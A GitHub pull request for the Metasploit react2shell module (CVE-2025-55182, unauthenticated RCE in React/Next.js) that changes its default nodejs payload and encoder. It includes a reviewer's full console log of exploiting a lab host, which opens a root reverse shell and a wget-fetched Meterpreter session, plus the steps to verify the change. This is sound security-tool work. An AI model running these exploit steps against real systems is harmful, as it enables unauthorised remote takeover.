-
Notifications
You must be signed in to change notification settings - Fork 14.7k
Change react2shell default encoder and payload #20773
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Change react2shell default encoder and payload #20773
Conversation
| ['URL', 'https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3'] | ||
| ], | ||
| 'Platform' => ['multi'], | ||
| 'Platform' => %w[unix linux win], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why not 'multi'?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Although it's placed in the exploits/multi folder, the platforms should be explicitly defined like so
Co-authored-by: Julien Voisin <[email protected]>
smcintyre-r7
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Changes LGTM. Tested the new defaults with the docker container along with the older Meterpreter using the fetch payload. Switching to nodejs by default makes sense.
Metasploit tip: Use post/multi/manage/autoroute to automatically add
pivot routes
Metasploit Park, System Security Interface
Version 4.0.5, Alpha E
Ready...
> access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and...
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
=[ metasploit v6.4.103-dev-ff188b8a5e ]
+ -- --=[ 2,584 exploits - 1,319 auxiliary - 1,694 payloads ]
+ -- --=[ 433 post - 49 encoders - 14 nops - 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
WARNING: Local file /home/smcintyre/Repositories/metasploit-framework/data/meterpreter/ext_server_stdapi.php is being used
WARNING: Local files may be incompatible with the Metasploit Framework
WARNING: Local file /home/smcintyre/Repositories/metasploit-framework/data/meterpreter/ext_server_stdapi.py is being used
WARNING: Local file /home/smcintyre/Repositories/metasploit-framework/data/meterpreter/meterpreter.php is being used
WARNING: Local file /home/smcintyre/Repositories/metasploit-framework/data/meterpreter/meterpreter.py is being used
msf payload(php/meterpreter/reverse_tcp) > use react2shell
msf payload(php/meterpreter/reverse_tcp) > use react2shell
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/react2shell_unauth_rce_cve_2025_55182 2025-12-03 excellent Yes Unauthenticated RCE in React and Next.js
1 \_ target: Unix Command . . . .
2 \_ target: Windows Command . . . .
Interact with a module by name or index. For example info 2, use 2 or use exploit/multi/http/react2shell_unauth_rce_cve_2025_55182
After interacting with a module you can manually set a TARGET with set TARGET 'Windows Command'
[*] Using exploit/multi/http/react2shell_unauth_rce_cve_2025_55182
[*] Using configured payload cmd/unix/reverse_nodejs
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > show options
Module options (exploit/multi/http/react2shell_unauth_rce_cve_2025_55182):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h,
http, sapni, socks4
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit
.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to the React App
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_nodejs):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
View the full module info with the info, or info -d command.
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set RPORT 3000
sRPORT => 3000
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > run
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Command shell session 1 opened (192.168.159.128:4444 -> 192.168.159.128:43530) at 2025-12-15 14:58:05 -0500
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
pwd
/app
^C
Abort session 1? [y/N] y
[*] 192.168.159.128 - Command shell session 1 closed. Reason: User exit
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > run FETCH_COMMAND=wget
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Sending stage (3090404 bytes) to 192.168.159.128
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.128:50692) at 2025-12-15 14:59:38 -0500
meterpreter > getuid
sysinServer username: root
meterpreter > sysinfo
Computer : 192.168.250.227
OS : (Linux 6.17.10-300.fc43.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > exit
[*] Shutting down session: 2
[*] ::1 - Meterpreter session 2 closed. Reason: Died
[*] ::1 - Meterpreter session 2 closed. Reason: User exit
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182)
fe69f21 to
0589121
Compare
Release NotesThis updates the exploit for React2Shell with a better default payload. |
This PR changes the default payload for the react2shell module to use a nodejs payload. This will help pro users as previously the module was defaulting to an
aarch64payload and was not honoring the default value set for theFETCH_COMMANDdatastore option. I believe this was what was requested as a temporary fix for these issues.The module was hitting a payload length limitation when using
cmd/unix/reverse_nodejs. Due to thebadchar => '"'the payload needs to be encoded. The EncoderType selected by default wasCmdPosixEchowhich generates quite a large payload as each byte is sent as a\xprefixed hex encoded string:/bin/echo -ne '\x6e\x6f\x64\x65....Explicitly setting the EncoderType to
CmdPosixBase64is much more efficient:echo bm9kZSAtZSAn....When first attempting to minimize the payload size the
#nodejs_cmdmethod was changed to only encoding chars that are not whitespace or alpha numeric. This significantly reduced the size of the payload and should probably stay in this PR.Verification
List the steps needed to make sure this thing works
msfconsoleuse multi/http/react2shell_unauth_rce_cve_2025_55182rhosts,rport,lhostTesting